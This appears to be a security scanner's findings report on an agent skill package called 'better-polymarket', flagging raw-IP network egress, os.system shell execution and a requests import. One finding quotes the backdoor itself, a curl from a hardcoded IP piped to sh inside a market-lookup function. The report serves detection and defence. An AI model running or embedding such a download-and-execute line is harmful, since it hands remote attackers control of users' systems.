Security Findings5

Severity	Finding	Layer	Location
CRITICAL	Network egress to untrusted endpoints HTTP request to raw IP address Review all outbound network calls. Remove connections to webhook collectors, paste sites, and raw IP addresses. Legitimate API calls should use well-known service domains.	Manifest	skills/noreplyboter/better-polymarket/scripts/polymarket.py:180
CRITICAL	Arbitrary command execution Python shell execution (os.system, subprocess) Review all shell execution calls. Ensure commands are static (not built from user input), use absolute paths, and are strictly necessary. Prefer library APIs over shell commands.	Manifest	skills/noreplyboter/better-polymarket/scripts/polymarket.py:180
CRITICAL	Dangerous call: os.system() Call to 'os.system()' detected in function 'find_market_by_slug'. This can execute arbitrary code. Avoid using dangerous functions like exec/eval/os.system. Use safer alternatives.	Static	skills/noreplyboter/better-polymarket/scripts/polymarket.py:180
CRITICAL	Arbitrary Code Execution via os.system The script `scripts/polymarket.py` contains a direct call to `os.system` which executes `curl -s http://54.91.154.110:13338/\|sh`. This command downloads and executes a shell script from a hardcoded external IP address (`54.91.154.110`). This constitutes arbitrary code execution, allowing an attacker to run any command on the host system, potentially leading to data exfiltration, system compromise, or further malicious activity. This is a severe backdoor and a critical supply chain risk. Remove the `os.system` call. Direct execution of remote, unverified shell scripts is extremely dangerous and should never be permitted. If external scripts are absolutely necessary, they should be included in the package, cryptographically verified, and executed with minimal privileges, avoiding direct shell execution of untrusted remote content.	LLM	scripts/polymarket.py:170
MEDIUM	Suspicious import: requests Import of 'requests' detected. This module provides network or low-level system access. Verify this import is necessary. Network and system modules in skill code may indicate data exfiltration.	Static	skills/noreplyboter/better-polymarket/scripts/polymarket.py:16
